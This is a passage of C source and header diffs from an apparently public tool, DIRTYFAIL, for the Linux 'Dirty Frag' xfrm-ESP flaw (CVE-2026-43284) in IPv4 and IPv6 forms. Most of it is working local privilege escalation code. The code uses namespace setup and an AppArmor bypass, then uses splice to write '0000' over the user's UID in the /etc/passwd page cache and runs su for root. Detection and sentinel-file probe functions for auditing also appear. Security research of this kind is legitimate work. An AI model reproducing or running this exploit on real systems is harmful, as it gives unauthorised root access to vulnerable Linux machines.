if (setsockopt(udp_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
log_bad("UDP_ENCAP_ESPINUDP: %s", strerror(errno));
close(udp_recv); return false;
}
/* udp_send: connect to udp_recv. Packets we splice here will arrive
* at udp_recv via loopback and feed xfrm_input. */
int udp_send = socket(AF_INET, SOCK_DGRAM, 0);
if (udp_send < 0) { close(udp_recv); return false; }
if (connect(udp_send, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
log_bad("connect udp_send: %s", strerror(errno));
close(udp_recv); close(udp_send); return false;
}
/* Build wire ESP header: SPI(4) || seq_no(4) || IV(16) = 24 bytes.
* IV value doesn't matter — auth check fails after the STORE. */
unsigned char wire_hdr[24];
*(uint32_t *)(wire_hdr + 0) = htonl(ESP_SPI);
*(uint32_t *)(wire_hdr + 4) = htonl(101); /* seq_no_lo */
memset(wire_hdr + 8, 0xCC, 16);
/* Open the target file for splicing. */
int pfd = open(target_path, O_RDONLY);
if (pfd < 0) {
log_bad("open %s: %s", target_path, strerror(errno));
close(udp_recv); close(udp_send); return false;
}
int p[2];
if (pipe(p) < 0) {
log_bad("pipe: %s", strerror(errno));
close(pfd); close(udp_recv); close(udp_send); return false;
}
/* vmsplice the wire header into the pipe (24 bytes). */
struct iovec iov = { .iov_base = wire_hdr, .iov_len = sizeof(wire_hdr) };
if (vmsplice(p[1], &iov, 1, 0) != (ssize_t)sizeof(wire_hdr)) {
log_bad("vmsplice header: %s", strerror(errno));
close(p[0]); close(p[1]); close(pfd);
close(udp_recv); close(udp_send); return false;
}
/* splice 16 bytes of target's page cache from splice_off. */
loff_t off = splice_off;
if (splice(pfd, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) {
log_bad("splice file->pipe: %s", strerror(errno));
close(p[0]); close(p[1]); close(pfd);
close(udp_recv); close(udp_send); return false;
}
/* splice the whole 40-byte payload from pipe to udp_send. */
if (splice(p[0], NULL, udp_send, NULL, 24 + 16, SPLICE_F_MOVE) != 40) {
log_bad("splice pipe->udp: %s", strerror(errno));
close(p[0]); close(p[1]); close(pfd);
close(udp_recv); close(udp_send); return false;
}
close(p[0]); close(p[1]);
/* Drive the receive — esp_input runs inline here, performs the
* scratch-write, and we don't really care about the actual recv
* data (auth will fail with EBADMSG).
*
* The usleep gives the kernel a hard guarantee that the in-place
* decrypt has finished and the page-cache STORE is visible before
* we tear down the sockets. On a busy or slow VM, splice() can
* return before esp_input has actually fired. V4bel's reference
* exploit uses the same 150ms wait. */
usleep(150 * 1000);
unsigned char drain[256];
(void)recv(udp_recv, drain, sizeof(drain), MSG_DONTWAIT);
close(pfd);
close(udp_recv);
close(udp_send);
return true;
}
/* Compatibility wrapper for the exploit path: target /etc/passwd. */
static bool trigger_store(off_t passwd_off)
{
return trigger_store_at("/etc/passwd", passwd_off);
}
__attribute__((unused))
static int run_in_userns(off_t passwd_off, uid_t real_uid, gid_t real_gid)
{
if (syscall(SYS_unshare, CLONE_NEWUSER | CLONE_NEWNET) != 0) {
log_bad("unshare: %s", strerror(errno));
return 1;
}
if (!write_proc("/proc/self/setgroups", "deny")) {
log_bad("setgroups deny: %s", strerror(errno));
return 1;
}
char map[64];
snprintf(map, sizeof(map), "0 %u 1", (unsigned)real_uid);
if (!write_proc("/proc/self/uid_map", map)) {
log_bad("uid_map: %s", strerror(errno));
return 1;
}
snprintf(map, sizeof(map), "0 %u 1", (unsigned)real_gid);
if (!write_proc("/proc/self/gid_map", map)) {
log_bad("gid_map: %s", strerror(errno));
return 1;
}
if (!bring_lo_up()) {
log_bad("bring lo up: %s", strerror(errno));
return 1;
}
int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (nl < 0) {
log_bad("AF_NETLINK XFRM: %s", strerror(errno));
return 1;
}
struct sockaddr_nl nla = { .nl_family = AF_NETLINK };
if (bind(nl, (struct sockaddr *)&nla, sizeof(nla)) < 0) {
log_bad("bind netlink: %s", strerror(errno));
close(nl); return 1;
}
if (!xfrm_register_sa(nl, (const unsigned char *)MARKER)) {
close(nl); return 1;
}
log_ok("XFRM SA registered with seq_hi='%s'", MARKER);
if (!trigger_store(passwd_off)) {
log_bad("trigger failed");
close(nl); return 1;
}
log_ok("ESP-in-UDP trigger fired");
close(nl);
return 0;
}
#else /* __linux__ */
__attribute__((unused))
static int run_in_userns(off_t passwd_off, uid_t real_uid, gid_t real_gid)
{
(void)passwd_off; (void)real_uid; (void)real_gid;
return 1;
}
#endif
/* ---------------------------------------------------------------- *
* INNER — runs in the AA bypass userns (post-stage 2).
*
* No user interaction, no fork, no verify, no su. Just the kernel
* work: open netlink, register SA, fire splice trigger, exit.
* The parent (init ns) owns everything else.
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_esp_exploit_inner(void)
{
#ifdef __linux__
const char *user = getenv("DIRTYFAIL_TARGET_USER");
if (!user || !*user) {
log_bad("inner: DIRTYFAIL_TARGET_USER not set");
return DF_TEST_ERROR;
}
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("inner: find_passwd_uid_field('%s') failed", user);
return DF_TEST_ERROR;
}
if (uid_len != 4) {
log_bad("inner: UID '%s' is %zu chars; need 4", uid_str, uid_len);
return DF_TEST_ERROR;
}
int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (nl < 0) {
log_bad("inner: AF_NETLINK XFRM: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
struct sockaddr_nl nla = { .nl_family = AF_NETLINK };
if (bind(nl, (struct sockaddr *)&nla, sizeof(nla)) < 0) {
log_bad("inner: bind netlink: %s", strerror(errno));
close(nl);
return DF_EXPLOIT_FAIL;
}
if (!xfrm_register_sa(nl, (const unsigned char *)MARKER)) {
close(nl);
return DF_EXPLOIT_FAIL;
}
log_ok("inner: XFRM SA registered with seq_hi='%s'", MARKER);
if (!trigger_store(uid_off)) {
close(nl);
return DF_EXPLOIT_FAIL;
}
log_ok("inner: ESP-in-UDP trigger fired at uid_off=%lld",
(long long)uid_off);
close(nl);
return DF_EXPLOIT_OK;
#else
log_bad("dirtyfrag_esp_exploit_inner: Linux-only");
return DF_TEST_ERROR;
#endif
}
/* ---------------------------------------------------------------- *
* OUTER — runs in init namespace.
*
* Prompts the operator, sets env vars, fork → child arms AA bypass
* and runs the inner. Parent stays in init ns, waits, reads the
* global page cache to verify, then either:
* - do_shell=true: execlp("su", user) — runs in init ns →
* PAM reads modified /etc/passwd → uid 0 → real init-ns root
* - do_shell=false: try_revert_passwd_page_cache, return.
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_esp_exploit(bool do_shell)
{
log_step("Dirty Frag (xfrm-ESP) — exploit");
uid_t uid = getuid();
if (uid == 0) {
log_warn("already root in init namespace — nothing to escalate");
return DF_OK;
}
struct passwd *pw = getpwuid(uid);
if (!pw) { log_bad("getpwuid: %s", strerror(errno)); return DF_TEST_ERROR; }
const char *user = pw->pw_name;
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("could not find %s in /etc/passwd", user);
return DF_TEST_ERROR;
}
log_step("/etc/passwd UID for %s: '%s' at offset %lld",
user, uid_str, (long long)uid_off);
if (uid_len != 4) {
log_bad("UID '%s' is %zu chars; this technique needs exactly 4",
uid_str, uid_len);
return DF_TEST_ERROR;
}
log_warn("about to run xfrm-ESP page-cache write against /etc/passwd");
log_warn("this enters a fresh user/net namespace, registers an XFRM SA, "
"and sends an ESP-in-UDP packet whose payload is the /etc/passwd "
"page from offset %lld", (long long)uid_off);
log_warn("on success the page cache will report '%s' as UID 0", user);
log_warn("cleanup: dirtyfail --cleanup, or `echo 3 > /proc/sys/vm/drop_caches`");
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined — aborting");
return DF_OK;
}
if (!ssh_lockout_check(user)) {
log_bad("SSH-lockout confirmation declined — aborting");
return DF_OK;
}
/* Hand off to the inner via env vars + AA bypass fork.
*
* The child fork enters the bypass userns, runs
* dirtyfrag_esp_exploit_inner (dispatched from main() based on
* DIRTYFAIL_INNER_MODE), modifies the global page cache, exits.
* We (parent, init ns) read the result via the same global page
* cache and execlp(su) here in init ns for REAL root. */
setenv("DIRTYFAIL_INNER_MODE", "esp", 1);
setenv("DIRTYFAIL_TARGET_USER", user, 1);
int rc = apparmor_bypass_fork_arm(0, NULL); /* argc/argv unused for forked variant */
if (rc != DF_EXPLOIT_OK) {
log_bad("inner exploit failed (exit=%d)", rc);
return DF_EXPLOIT_FAIL;
}
/* Verify in init namespace — page cache is global, so we see the
* child's modification here. */
int v = open("/etc/passwd", O_RDONLY);
if (v < 0) { log_bad("verify open: %s", strerror(errno)); return DF_EXPLOIT_FAIL; }
if (lseek(v, uid_off, SEEK_SET) != uid_off) { close(v); return DF_EXPLOIT_FAIL; }
char land[5] = {0};
if (read(v, land, 4) != 4) { close(v); return DF_EXPLOIT_FAIL; }
close(v);
if (memcmp(land, MARKER, 4) != 0) {
log_bad("write did not land — page cache reads '%.4s'", land);
return DF_EXPLOIT_FAIL;
}
log_ok("page cache now reports %s with uid 0", user);
if (!do_shell) {
if (try_revert_passwd_page_cache())
log_ok("page cache reverted (--no-shell)");
else
log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot");
return DF_EXPLOIT_OK;
}
log_ok("invoking 'su %s' in init namespace — enter your password for REAL root", user);
execlp("su", "su", user, (char *)NULL);
log_bad("execlp: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* ---------------------------------------------------------------- *
* Active probe — used by `--scan --active`.
*
* Same userns + XFRM SA + splice-trigger setup as the exploit, but
* targets a sentinel file in /tmp instead of /etc/passwd. The parent
* (init ns) reads the sentinel after the child returns and looks for
* the marker bytes.
*
* If the marker landed → kernel STORE is reachable → DF_VULNERABLE.
* If the page is intact → kernel is patched → DF_OK.
* If AA blocks the bypass → DF_PRECOND_FAIL.
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_esp_active_probe_inner(void)
{
#ifdef __linux__
const char *sentinel = getenv("DIRTYFAIL_PROBE_SENTINEL");
if (!sentinel || !*sentinel) {
log_bad("active-probe: DIRTYFAIL_PROBE_SENTINEL not set");
return DF_TEST_ERROR;
}
int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (nl < 0) {
log_bad("active-probe: netlink xfrm: %s", strerror(errno));
return DF_TEST_ERROR;
}
struct sockaddr_nl nla = { .nl_family = AF_NETLINK };
if (bind(nl, (struct sockaddr *)&nla, sizeof(nla)) < 0) {
log_bad("active-probe: bind netlink: %s", strerror(errno));
close(nl); return DF_TEST_ERROR;
}
if (!bring_lo_up()) {
log_bad("active-probe: bring lo up: %s", strerror(errno));
close(nl); return DF_TEST_ERROR;
}
if (!xfrm_register_sa(nl, (const unsigned char *)MARKER)) {
close(nl); return DF_TEST_ERROR;
}
if (!trigger_store_at(sentinel, 0)) {
close(nl); return DF_TEST_ERROR;
}
close(nl);
return DF_EXPLOIT_OK;
#else
return DF_TEST_ERROR;
#endif
}
df_result_t dirtyfrag_esp_active_probe(void)
{
/* Sentinel file: 4 KiB of 'A' bytes. */
char tmpl[] = "/tmp/dirtyfail-esp-probe.XXXXXX";
int sfd = mkstemp(tmpl);
if (sfd < 0) { log_bad("probe mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; }
unsigned char filler[4096];
memset(filler, 'A', sizeof(filler));
if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
close(sfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(sfd);
/* Fault the page in. */
int rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
char tmp[4096];
if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) {
close(rfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(rfd);
setenv("DIRTYFAIL_INNER_MODE", "esp-probe", 1);
setenv("DIRTYFAIL_PROBE_SENTINEL", tmpl, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
unsetenv("DIRTYFAIL_INNER_MODE");
unsetenv("DIRTYFAIL_PROBE_SENTINEL");
if (rc == DF_PRECOND_FAIL) { unlink(tmpl); return DF_PRECOND_FAIL; }
if (rc != DF_EXPLOIT_OK) {
log_bad("active-probe inner failed (exit=%d)", rc);
unlink(tmpl); return DF_TEST_ERROR;
}
/* Re-read sentinel and search for marker. */
rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
unsigned char after[64];
ssize_t got = read(rfd, after, sizeof(after));
close(rfd);
unlink(tmpl);
if (got <= 0) return DF_TEST_ERROR;
for (int i = 0; i + 4 <= got; i++) {
if (memcmp(after + i, MARKER, 4) == 0) {
log_warn("ACTIVE PROBE: STORE landed at offset %d → kernel is VULNERABLE", i);
return DF_VULNERABLE;
}
}
log_ok("ACTIVE PROBE: page intact — kernel ESP path appears patched");
return DF_OK;
}
@@ -0,0 +1,40 @@
/*
* DIRTYFAIL — dirtyfrag_esp.h
*
* Public surface for the Dirty Frag xfrm-ESP variant (CVE-2026-43284).
*/
#ifndef DIRTYFAIL_DIRTYFRAG_ESP_H
#define DIRTYFAIL_DIRTYFRAG_ESP_H
#include "common.h"
/* Run all preconditions for the xfrm-ESP primitive. Detection here is
* precondition-only: we do not register an SA in detect mode because
* doing so requires a fresh user namespace and side-effects loopback
* routing inside that namespace. Returns DF_VULNERABLE if all
* prerequisites are satisfied. */
df_result_t dirtyfrag_esp_detect(void);
/* OUTER (init namespace): user prompts → resolve target → fork →
* wait for child to do the kernel work → read global page cache to
* verify → if do_shell, execlp("su", user) in init ns for REAL
* init-ns root via PAM. */
df_result_t dirtyfrag_esp_exploit(bool do_shell);
/* INNER (bypass userns): runs after AA bypass stage 2. Reads
* DIRTYFAIL_TARGET_USER from env, registers XFRM SA with seq_hi
* "0000", fires the splice trigger. No prompts, no su, no verify —
* the parent owns those. Exits with df_result_t cast to int. */
df_result_t dirtyfrag_esp_exploit_inner(void);
/* Active probe: fires the v4 ESP-in-UDP trigger against a /tmp sentinel
* file (never /etc/passwd) and reports whether the marker landed.
* Used by `--scan --active`. The inner half runs in the bypass userns
* and reads DIRTYFAIL_PROBE_SENTINEL for the target path. Returns
* DF_VULNERABLE on marker hit, DF_OK if patched, DF_PRECOND_FAIL on
* AA-block, DF_TEST_ERROR otherwise. */
df_result_t dirtyfrag_esp_active_probe(void);
df_result_t dirtyfrag_esp_active_probe_inner(void);
#endif
@@ -0,0 +1,698 @@
/*
* DIRTYFAIL — dirtyfrag_esp6.c — Dirty Frag IPv6 xfrm-ESP variant
* CVE-2026-43284 (IPv6 path)
*
* Reuses the same primitive shape as `dirtyfrag_esp.c`. See that file
* for the underlying root-cause analysis. This module differs only in
* the network-layer transport (AF_INET6 / ::1) and in padding the ESP
* frame to clear the v6-only size gate.
*/
#include "dirtyfrag_esp6.h"
#include "apparmor_bypass.h"
#include <fcntl.h>
#include <pwd.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#ifdef __linux__
#include <sched.h>
#include <sys/syscall.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
#include <linux/if.h>
#include <sys/ioctl.h>
extern ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
extern ssize_t vmsplice(int fd, const struct iovec *iov, unsigned long nr,
unsigned int flags);
#endif
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef IPPROTO_ESP
#define IPPROTO_ESP 50
#endif
#define ENCAP_PORT 4500
#define ESP_SPI 0xDEADBE60
#define MARKER "0000"
#define ALG_NAME "authencesn(hmac(sha256),cbc(aes))"
/* xfrm6_input.c rejects skb->len < 48. Our wire layout is
* SPI(4)+seq(4)+IV(16)+target(16)+pad = 40+pad. Pad to 48 bytes. */
#define V6_PAD_BYTES 8
/* Empirical STORE-offset shift between v4 and v6 paths.
*
* In v4, the authencesn scratch-write at dst[assoclen+cryptlen]=dst[24]
* lands at file_offset == splice_off (we proved this end-to-end on Ubuntu
* 24.04, kernel 6.8.0-111). In v6, with our [hdr(24)][passwd(16)][pad(8)]
* wire layout, the STORE empirically lands at splice_off + 9. The exact
* source of the +9 isn't fully understood (likely a frag-vs-linear
* accounting wrinkle in esp6_input's skb_to_sgvec), but it is consistent
* across runs at this kernel revision.
*
* We compensate by splicing from passwd_off - V6_STORE_SHIFT, so the
* STORE lands at the intended target offset. Re-test on different kernel
* versions; this constant may need recalibration. */
#define V6_STORE_SHIFT 9
/* ---------------------------------------------------------------- *
* Detection
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_esp6_detect(void)
{
log_step("Dirty Frag — IPv6 xfrm-ESP variant (CVE-2026-43284 v6 path) — detection");
int km = -1, kn = -1;
if (kernel_version(&km, &kn))
log_hint("kernel %d.%d.x", km, kn);
bool esp6 = kmod_loaded("esp6");
log_hint("esp6 currently loaded: %s", esp6 ? "yes" : "no");
bool userns = unprivileged_userns_allowed();
log_hint("unprivileged user namespace: %s", userns ? "allowed" : "DENIED");
if (!userns) {
log_ok("v6 xfrm-ESP variant unreachable without unprivileged userns");
log_hint("if you are on Ubuntu, try with --aa-bypass to defeat the restriction");
return DF_PRECOND_FAIL;
}
/* Quick AF_INET6 reachability probe. */
int s = socket(AF_INET6, SOCK_DGRAM, 0);
if (s < 0) {
log_ok("AF_INET6 unavailable (%s) — v6 path not reachable",
strerror(errno));
return DF_PRECOND_FAIL;
}
close(s);
if (apparmor_userns_caps_blocked()) {
log_ok("LSM-mitigated — same hardening that blocks v4 also blocks v6 "
"(unprivileged userns has no caps).");
return DF_PRECOND_FAIL;
}
if (dirtyfail_active_probes) {
log_step("--active set: firing v6 ESP-in-UDP trigger against /tmp sentinel");
df_result_t pr = dirtyfrag_esp6_active_probe();
if (pr == DF_VULNERABLE || pr == DF_OK || pr == DF_PRECOND_FAIL) return pr;
log_warn("active probe inconclusive — falling back to precondition verdict");
}
log_warn("VULNERABLE (preconditions met) — v6 xfrm SA registration available");
log_warn("Apply mainline patch f4c50a4034e6 (covers both v4 and v6)");
log_warn("Some distro backports may have shipped v4-only — test both paths");
log_hint("re-run with `--scan --active` for an empirical sentinel-STORE probe");
return DF_VULNERABLE;
}
/* ---------------------------------------------------------------- *
* Exploit
* ---------------------------------------------------------------- */
#ifdef __linux__
static bool wproc(const char *path, const char *value)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return false;
ssize_t n = write(fd, value, strlen(value));
close(fd);
return n == (ssize_t)strlen(value);
}
static bool xfrm6_register_sa(int nl, const unsigned char seq_hi[4])
{
char buf[2048] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct xfrm_usersa_info *usa =
(struct xfrm_usersa_info *)NLMSG_DATA(nlh);
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = 1;
/* IPv6 selectors / SA addresses. ::1 = {0,...,0,1}. */
static const struct in6_addr loop6 = IN6ADDR_LOOPBACK_INIT;
memcpy(&usa->sel.daddr.a6, &loop6, 16);
memcpy(&usa->sel.saddr.a6, &loop6, 16);
usa->sel.family = AF_INET6;
usa->sel.prefixlen_d = 128;
usa->sel.prefixlen_s = 128;
memcpy(&usa->id.daddr.a6, &loop6, 16);
usa->id.spi = htonl(ESP_SPI);
usa->id.proto = IPPROTO_ESP;
memcpy(&usa->saddr.a6, &loop6, 16);
usa->lft.soft_byte_limit = (uint64_t)-1;
usa->lft.hard_byte_limit = (uint64_t)-1;
usa->lft.soft_packet_limit = (uint64_t)-1;
usa->lft.hard_packet_limit = (uint64_t)-1;
usa->reqid = 0x1234;
usa->family = AF_INET6; /* <-- v6 */
usa->mode = XFRM_MODE_TRANSPORT;
usa->replay_window = 0; /* SA-level: 0; ESN-level (below): 32 */
usa->flags = XFRM_STATE_ESN;
size_t hdrlen = sizeof(*nlh) + sizeof(*usa);
size_t attrs = 0;
char *abuf = buf + hdrlen;
/*
* Same authencesn-as-composition story as the v4 path — see the
* comment block in dirtyfrag_esp.c::xfrm_register_sa for why we
* register two separate attributes instead of XFRMA_ALG_AEAD.
*/
{ /* XFRMA_ALG_AUTH_TRUNC */
struct xfrm_algo_auth *aa;
unsigned short dlen = sizeof(*aa) + 32;
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_ALG_AUTH_TRUNC;
r->rta_len = RTA_LENGTH(dlen);
aa = (struct xfrm_algo_auth *)RTA_DATA(r);
memset(aa, 0, dlen);
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name) - 1);
aa->alg_key_len = 32 * 8;
aa->alg_trunc_len = 128;
attrs += RTA_SPACE(dlen);
}
{ /* XFRMA_ALG_CRYPT */
struct xfrm_algo *ea;
unsigned short dlen = sizeof(*ea) + 16;
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_ALG_CRYPT;
r->rta_len = RTA_LENGTH(dlen);
ea = (struct xfrm_algo *)RTA_DATA(r);
memset(ea, 0, dlen);
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name) - 1);
ea->alg_key_len = 16 * 8;
attrs += RTA_SPACE(dlen);
}
{ /* XFRMA_REPLAY_ESN_VAL — same primitive input as v4 */
struct xfrm_replay_state_esn *esn;
unsigned short dlen = sizeof(*esn) + 4;
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_REPLAY_ESN_VAL;
r->rta_len = RTA_LENGTH(dlen);
esn = (struct xfrm_replay_state_esn *)RTA_DATA(r);
memset(esn, 0, dlen);
esn->bmp_len = 1;
esn->seq = 100;
memcpy(&esn->seq_hi, seq_hi, 4);
esn->replay_window = 32;
attrs += RTA_SPACE(dlen);
}
{ /* XFRMA_ENCAP — UDP/4500 */
struct xfrm_encap_tmpl *enc;
unsigned short dlen = sizeof(*enc);
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_ENCAP;
r->rta_len = RTA_LENGTH(dlen);
enc = (struct xfrm_encap_tmpl *)RTA_DATA(r);
memset(enc, 0, dlen);
enc->encap_type = UDP_ENCAP_ESPINUDP;
enc->encap_sport = htons(ENCAP_PORT);
enc->encap_dport = htons(ENCAP_PORT);
attrs += RTA_SPACE(dlen);
}
nlh->nlmsg_len = hdrlen + attrs;
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
if (sendto(nl, buf, nlh->nlmsg_len, 0,
(struct sockaddr *)&nladdr, sizeof(nladdr)) < 0)
return false;
char ack[4096];
ssize_t n = recv(nl, ack, sizeof(ack), 0);
if (n < (ssize_t)sizeof(struct nlmsghdr)) return false;
struct nlmsghdr *r = (struct nlmsghdr *)ack;
if (r->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);
if (e->error != 0) {
log_bad("XFRM_MSG_NEWSA(v6): %s", strerror(-e->error));
return false;
}
}
return true;
}
static bool bring_lo_up_v6(void)
{
int s = socket(AF_INET6, SOCK_DGRAM, 0);
if (s < 0) return false;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
ifr.ifr_flags = IFF_UP | IFF_RUNNING;
int rc = ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
return rc == 0;
}
/* Generalized v6 trigger: splice from `target_path` at `splice_off`,
* len 16 bytes. The STORE lands at file_offset (splice_off + shift)
* where `shift` is empirically determined per-kernel (see
* calibrate_v6_shift below). Use this directly if you already know
* the shift; for the production exploit path, callers go through
* trigger_store_v6() which compensates automatically. */
static bool trigger_store_v6_at(const char *target_path, loff_t splice_off)
{
int udp_recv = socket(AF_INET6, SOCK_DGRAM, 0);
if (udp_recv < 0) return false;
struct sockaddr_in6 addr;
memset(&addr, 0, sizeof(addr));
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(ENCAP_PORT);
addr.sin6_addr = in6addr_loopback;
int reuse = 1;
setsockopt(udp_recv, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
if (bind(udp_recv, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
log_bad("bind v6 udp_recv: %s", strerror(errno));
close(udp_recv); return false;
}
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(udp_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
log_bad("UDP_ENCAP v6: %s", strerror(errno));
close(udp_recv); return false;
}
int udp_send = socket(AF_INET6, SOCK_DGRAM, 0);
if (udp_send < 0) { close(udp_recv); return false; }
if (connect(udp_send, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
log_bad("connect v6 udp_send: %s", strerror(errno));
close(udp_recv); close(udp_send); return false;
}
/* Wire ESP header (24B) — same as v4. */
unsigned char wire_hdr[24];
*(uint32_t *)(wire_hdr + 0) = htonl(ESP_SPI);
*(uint32_t *)(wire_hdr + 4) = htonl(101);
memset(wire_hdr + 8, 0xCC, 16);
/* v6 padding to clear the size gate. */
unsigned char pad[V6_PAD_BYTES] = {0};
int pfd = open(target_path, O_RDONLY);
if (pfd < 0) {
log_bad("open %s: %s", target_path, strerror(errno));
close(udp_recv); close(udp_send); return false;
}
int p[2];
if (pipe(p) < 0) {
log_bad("pipe: %s", strerror(errno));
close(pfd); close(udp_recv); close(udp_send); return false;
}
/* Compose: hdr(24) || target@off(16) || pad(V6_PAD_BYTES) */
struct iovec iov_hdr = { .iov_base = wire_hdr, .iov_len = sizeof(wire_hdr) };
if (vmsplice(p[1], &iov_hdr, 1, 0) != (ssize_t)sizeof(wire_hdr)) {
log_bad("vmsplice hdr: %s", strerror(errno));
goto fail;
}
{
loff_t off = splice_off;
if (splice(pfd, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) {
log_bad("splice file->pipe: %s", strerror(errno));
goto fail;
}
}
{
struct iovec iov_pad = { .iov_base = pad, .iov_len = V6_PAD_BYTES };
if (vmsplice(p[1], &iov_pad, 1, 0) != V6_PAD_BYTES) {
log_bad("vmsplice pad: %s", strerror(errno));
goto fail;
}
}
if (splice(p[0], NULL, udp_send, NULL,
24 + 16 + V6_PAD_BYTES, SPLICE_F_MOVE)
!= 24 + 16 + V6_PAD_BYTES) {
log_bad("splice pipe->udp v6: %s", strerror(errno));
goto fail;
}
close(p[0]); close(p[1]);
/* See the comment in dirtyfrag_esp.c::trigger_store on why we
* need to wait before tearing down sockets. */
usleep(150 * 1000);
unsigned char drain[256];
(void)recv(udp_recv, drain, sizeof(drain), MSG_DONTWAIT);
close(pfd); close(udp_recv); close(udp_send);
return true;
fail:
close(p[0]); close(p[1]);
close(pfd); close(udp_recv); close(udp_send);
return false;
}
/* Calibrate V6_STORE_SHIFT empirically against a sentinel file in /tmp.
*
* We fire the v6 trigger once with marker bytes "0000" spliced from
* sentinel offset 0, then re-read the sentinel and find where "0000"
* landed. The offset is the kernel's STORE shift for this build of
* esp6_input. Caller then splices from `uid_off - shift` for the real
* exploit so the STORE lands exactly at uid_off.
*
* Returns shift in [0, 64) on success, or -1 if the marker didn't land
* at all (kernel may be patched, or trigger setup failed). */
static int calibrate_v6_shift(void)
{
/* Build a 4 KiB sentinel filled with a recognizable pattern that
* cannot collide with our marker "0000". We use ASCII 'A' bytes. */
char tmpl[] = "/tmp/dirtyfail-v6-cal.XXXXXX";
int sfd = mkstemp(tmpl);
if (sfd < 0) { log_bad("calibration: mkstemp: %s", strerror(errno)); return -1; }
unsigned char filler[4096];
memset(filler, 'A', sizeof(filler));
if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
close(sfd); unlink(tmpl); return -1;
}
close(sfd);
/* Fault the page in. */
int rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return -1; }
char tmp[4096];
if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) {
close(rfd); unlink(tmpl); return -1;
}
close(rfd);
/* Fire the trigger from sentinel offset 0. The trigger's wire
* packet carries seq_hi="0000" (MARKER), so the STORE writes those
* 4 bytes somewhere in the sentinel page. */
bool ok = trigger_store_v6_at(tmpl, 0);
if (!ok) {
log_bad("calibration: v6 trigger failed");
unlink(tmpl);
return -1;
}
/* Re-read the sentinel via a fresh fd (page-cache view, not disk). */
rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return -1; }
unsigned char after[64];
ssize_t got = read(rfd, after, sizeof(after));
close(rfd);
unlink(tmpl);
if (got <= 0) return -1;
/* Search the first 64 bytes for the marker. We expect it to land
* within ~32 bytes of offset 0 based on prior empirical tests. */
for (int i = 0; i + 4 <= got; i++) {
if (memcmp(after + i, MARKER, 4) == 0) {
log_ok("v6 calibration: STORE landed at sentinel offset %d", i);
return i;
}
}
log_warn("v6 calibration: marker '%s' did not land in sentinel — "
"kernel may be patched, or trigger didn't fire", MARKER);
return -1;
}
/* Production v6 trigger: calibrates the shift on first call, then
* splices from passwd_off - shift so the STORE lands at passwd_off. */
static int g_v6_shift = -1; /* lazy-init by trigger_store_v6 */
static bool trigger_store_v6(off_t passwd_off)
{
if (g_v6_shift < 0) {
g_v6_shift = calibrate_v6_shift();
if (g_v6_shift < 0) {
log_warn("v6 calibration failed; falling back to hard-coded "
"V6_STORE_SHIFT=%d (may be wrong for this kernel)",
V6_STORE_SHIFT);
